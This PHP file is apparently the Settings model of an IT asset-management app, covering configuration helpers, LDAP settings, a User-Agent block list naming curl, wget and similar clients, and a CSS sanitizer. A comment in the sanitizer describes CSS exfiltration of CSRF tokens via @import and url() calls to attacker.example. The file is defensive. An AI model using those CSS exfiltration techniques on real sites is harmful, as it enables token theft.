<?php

namespace App\Models;

use App\Helpers\Helper;
use App\Rules\CssColor;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Notifications\Notifiable;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Watson\Validating\ValidatingTrait;

/**
 * Settings model.
 */
class Setting extends Model
{
    use HasFactory;
    use Notifiable, ValidatingTrait;

    /**
     * The cache property so that multiple invocations of this will only load the Settings record from disk only once
     */
    public static ?self $_cache = null;

    /**
     * The setup check cache key name.
     *
     * @var string
     */
    public const SETUP_CHECK_KEY = 'snipeit_setup_check';

    /**
     * Whether the model should inject it's identifier to the unique
     * validation rules before attempting validation. If this property
     * is not set in the model it will default to true.
     *
     * @var bool
     */
    protected $injectUniqueIdentifier = true;

    /**
     * Model rules.
     *
     * @var array
     */
    protected $rules = [
        'brand' => 'required|min:1|numeric',
        'thumbnail_max_h' => 'numeric|max:500|min:25',
        'google_client_id' => 'nullable|ends_with:apps.googleusercontent.com',
    ];

    protected $fillable = [
        'site_name',
        'email_domain',
        'email_format',
        'username_format',
        'webhook_endpoint',
        'webhook_channel',
        'webhook_botname',
        'google_login',
        'google_client_id',
        'google_client_secret',
        'manager_view_enabled',
    ];

    protected $casts = [
        'label2_asset_logo' => 'boolean',
        'require_checkinout_notes' => 'boolean',
        'manager_view_enabled' => 'boolean',
        'block_api_user_agents' => 'boolean',
        'block_blank_api_user_agents' => 'boolean',
        // tinyInteger with no cast was leaking 0 (int) into call sites that
        // use loose-equality string checks like `== '1'` and `== ''`. Under
        // PHP 8 `0 == ''` is false, so checks expecting "disabled" misfired.
        // Normalize on read so every consumer sees a consistent string mode.
        'two_factor_enabled' => 'string',
    ];

    /**
     * Suggested defaults for the "blocked API User-Agent patterns" textarea.
     *
     * Substrings (matched case-insensitively against the request's User-Agent)
     * that identify common scripted or default HTTP clients. New installs see
     * this list as the pre-filled textarea value; admins can add, remove, or
     * blank it out entirely. Browser-driven AJAX (snipeit.js, datatables,
     * select2, etc.) carries the browser's own User-Agent and is unaffected.
     */
    public const DEFAULT_BLOCKED_API_USER_AGENTS = [
        'curl/',
        'wget/',
        'python-requests/',
        'python-urllib',
        'PostmanRuntime/',
        'insomnia/',
        'Go-http-client/',
        'okhttp/',
        'HTTPie/',
        'Apache-HttpClient/',
        'Java/',
        'Faraday',
        'http.rb/',
        'libwww-perl/',
        'Ruby',
        'node-fetch/',
        'axios/',
        'GuzzleHttp/',
        'RestSharp/',
    ];

    /**
     * Get the app settings.
     *  Cache is expired on Setting model saved in EventServiceProvider.
     *
     * @author Wes Hulette <jwhulette@gmail.com>
     *
     * @since 5.0.0
     */
    public static function getSettings(): ?self
    {
        if (! self::$_cache) {
            // Need for setup as no tables exist
            try {
                self::$_cache = self::first();
            } catch (\Throwable $th) {
                return null;
            }
        }

        return self::$_cache;
    }

    /**
     * Check to see if setup process is complete.
     *  Cache is expired on Setting model saved in EventServiceProvider.
     */
    public static function setupCompleted(): bool
    {
        try {
            $usercount = User::withTrashed()->count();
            $settingsCount = self::count();

            return $usercount > 0 && $settingsCount > 0;
        } catch (\Throwable $th) {
            Log::debug('User table and settings table DO NOT exist or DO NOT have records');

            // Catch the error if the tables dont exit
            return false;
        }
    }

    /**
     * Get the current Laravel version.
     */
    public function lar_ver(): string
    {
        $app = App::getFacadeApplication();

        return $app::VERSION;
    }

    /**
     * Get the default EULA text.
     */
    public static function getDefaultEula(): ?string
    {
        if (self::getSettings()->default_eula_text) {
            return Helper::parseEscapedMarkedown(self::getSettings()->default_eula_text);
        }

        return null;
    }

    /**
     * Check wether to show in model dropdowns.
     *
     * @param  string  $element
     */
    public function modellistCheckedValue($element): bool
    {
        $settings = self::getSettings();
        // If the value is blank for some reason
        if ($settings->modellist_displays == '') {
            return false;
        }

        $values = explode(',', $settings->modellist_displays);

        foreach ($values as $value) {
            if ($value == $element) {
                return true;
            }
        }

        return false;
    }

    /**
     * Escapes the custom CSS, and then un-escapes the greater-than symbol
     * so it can work with direct descendant characters for bootstrap
     * menu overrides like:.
     *
     * .skin-blue .sidebar-menu>li.active>a, .skin-blue .sidebar-menu>li:hover>a
     *
     * Important: Do not remove the e() escaping here, as we output raw in the blade.
     *
     * @return string escaped CSS
     *
     * @author A. Gianotto <snipe@snipe.net>
     */
    protected function headerColor(): Attribute
    {
        return Attribute::make(
            get: fn (?string $value) => CssColor::sanitize($value, '#3c8dbc'),
        );
    }

    protected function linkLightColor(): Attribute
    {
        return Attribute::make(
            get: fn (?string $value) => CssColor::sanitize($value, '#296282'),
        );
    }

    protected function linkDarkColor(): Attribute
    {
        return Attribute::make(
            get: fn (?string $value) => CssColor::sanitize($value, '#5fa4cc'),
        );
    }

    protected function navLinkColor(): Attribute
    {
        return Attribute::make(
            get: fn (?string $value) => CssColor::sanitize($value, '#ffffff'),
        );
    }

    public function show_custom_css(): string
    {
        $custom_css = self::getSettings()->custom_css;
        if ($custom_css === null || $custom_css === '') {
            return '';
        }

        // Superuser-planted CSS renders inside <style> on every layout for
        // every other superuser, so the sanitize step has to hold up as a
        // CSS filter, not just an HTML filter. Two abuse primitives to
        // shut down:
        //
        //   @import url("https://attacker.example/x.css") lets the planter
        //   load an unrestricted external stylesheet, which can then use
        //   attribute-selector rules (input[name="_token"][value^="a"]{...})
        //   to exfiltrate CSRF tokens character by character on every page
        //   load.
        //
        //   background: url("https://attacker.example/?t=...") reaches the
        //   same primitive without @import as long as the value is any
        //   absolute or protocol-relative URL. Same-origin relative paths
        //   under /uploads/ etc. are fine for legit branding assets.
        //
        // strip_tags belt-and-braces guards against injection reaching a
        // context that treats < as an HTML boundary. The old encode-then-
        // selectively-decode chain silently undid its own work on > and "
        // and did not touch either @import or url(), so it's gone.
        $custom_css = strip_tags($custom_css);
        $custom_css = preg_replace('/@import\s+[^;]*;?/i', '', $custom_css);
        $custom_css = preg_replace_callback(
            '/\burl\s*\(\s*([^)]*)\)/i',
            function (array $match): string {
                $value = trim($match[1], " \t\n\r\"'");
                if ($value === '' || preg_match('#^(https?:)?//|^data:|^javascript:|^vbscript:#i', $value)) {
                    return '';
                }

                return $match[0];
            },
            $custom_css,
        );

        return $custom_css;
    }

    public function isQrEnabled(): bool
    {
        return $this->qr_code == '1' || $this->label2_2d_type !== 'none';
    }

    /**
     * Converts bytes into human readable file size.
     *
     * @param  string  $bytes
     * @return string human readable file size (2,87 Мб)
     *
     * @author Mogilev Arseny
     */
    public static function fileSizeConvert($bytes): string
    {
        $result = 0;
        $bytes = floatval($bytes);
        $arBytes = [
            0 => [
                'UNIT' => 'TB',
                'VALUE' => pow(1024, 4),
            ],
            1 => [
                'UNIT' => 'GB',
                'VALUE' => pow(1024, 3),
            ],
            2 => [
                'UNIT' => 'MB',
                'VALUE' => pow(1024, 2),
            ],
            3 => [
                'UNIT' => 'KB',
                'VALUE' => 1024,
            ],
            4 => [
                'UNIT' => 'B',
                'VALUE' => 1,
            ],
        ];

        foreach ($arBytes as $arItem) {
            if ($bytes >= $arItem['VALUE']) {
                $result = $bytes / $arItem['VALUE'];
                $result = round($result, 2).$arItem['UNIT'];
                break;
            }
        }

        return $result;
    }

    /**
     * The url for slack notifications.
     *  Used by Notifiable trait.
     */
    public function routeNotificationForSlack(): ?string
    {
        // At this point the endpoint is the same for everything.
        //  In the future this may want to be adapted for individual notifications.
        return self::getSettings()->webhook_endpoint;
    }

    /**
     * Get the mail reply to address from configuration.
     */
    public function routeNotificationForMail(): ?string
    {
        // At this point the endpoint is the same for everything.
        //  In the future this may want to be adapted for individual notifications.
        return config('mail.reply_to.address');
    }

    /**
     * Get the password complexity rule.
     */
    public static function passwordComplexityRulesSaving($action = 'update'): string
    {
        $security_rules = '';
        $settings = self::getSettings();

        // Check if they have uncommon password enforcement selected in settings
        if ($settings->pwd_secure_uncommon == 1) {
            $security_rules .= '|dumbpwd';
        }

        // Check for any secure password complexity rules that may have been selected
        if ($settings->pwd_secure_complexity != '') {
            $security_rules .= '|'.$settings->pwd_secure_complexity;
        }

        if ($action == 'update') {
            return 'nullable|min:'.$settings->pwd_secure_min.$security_rules;
        }

        return 'required|min:'.$settings->pwd_secure_min.$security_rules;
    }

    /**
     * Get the specific LDAP settings
     *
     * @author Wes Hulette <jwhulette@gmail.com>
     *
     * @since 5.0.0
     */
    public static function getLdapSettings(): Collection
    {
        $ldapSettings = self::select(
            [
                'ldap_enabled',
                'ldap_server',
                'ldap_uname',
                'ldap_pword',
                'ldap_basedn',
                'ldap_filter',
                'ldap_username_field',
                'ldap_lname_field',
                'ldap_fname_field',
                'ldap_auth_filter_query',
                'ldap_version',
                'ldap_active_flag',
                'ldap_emp_num',
                'ldap_email',
                'ldap_server_cert_ignore',
                'ldap_port',
                'ldap_tls',
                'ldap_pw_sync',
                'is_ad',
                'ad_domain',
                'ad_append_domain',
                'ldap_client_tls_key',
                'ldap_client_tls_cert',
                'ldap_default_group',
                'ldap_dept',
                'ldap_phone_field',
                'ldap_jobtitle',
                'ldap_manager',
                'ldap_country',
                'ldap_location',
            ]
        )->first()->getAttributes();

        return collect($ldapSettings);
    }

    /**
     * For a particular cache-file, refresh it if the settings have
     * been updated more recently than the file. Then return the
     * full filepath
     */
    public static function get_fresh_file_path($attribute, $path)
    {
        $full_path = storage_path().'/'.$path;
        $file_exists = file_exists($full_path);
        if ($file_exists) {
            $statblock = stat($full_path);
        }
        if (! $file_exists || Carbon::createFromTimestamp($statblock['mtime']) < Setting::getSettings()->updated_at) {
            if (Setting::getSettings()->{$attribute}) {
                file_put_contents($full_path, Setting::getSettings()->{$attribute});
            } else {
                // this doesn't fire when you might expect it to because a lot of the time we do something like:
                // if ($settings->ldap_client_tls_cert && ...
                // so we never get a chance to 'uncache' the file.
                if ($file_exists) {
                    unlink($full_path);
                }
            }
        }

        return $full_path;
    }

    /**
     * Return the filename for the client-side SSL cert
     *
     * @var string
     */
    public static function get_client_side_cert_path()
    {
        return self::get_fresh_file_path('ldap_client_tls_cert', 'ldap_client_tls.cert');
    }

    /**
     * Return the filename for the client-side SSL key
     *
     * @var string
     */
    public static function get_client_side_key_path()
    {
        return self::get_fresh_file_path('ldap_client_tls_key', 'ldap_client_tls.key');
    }
}
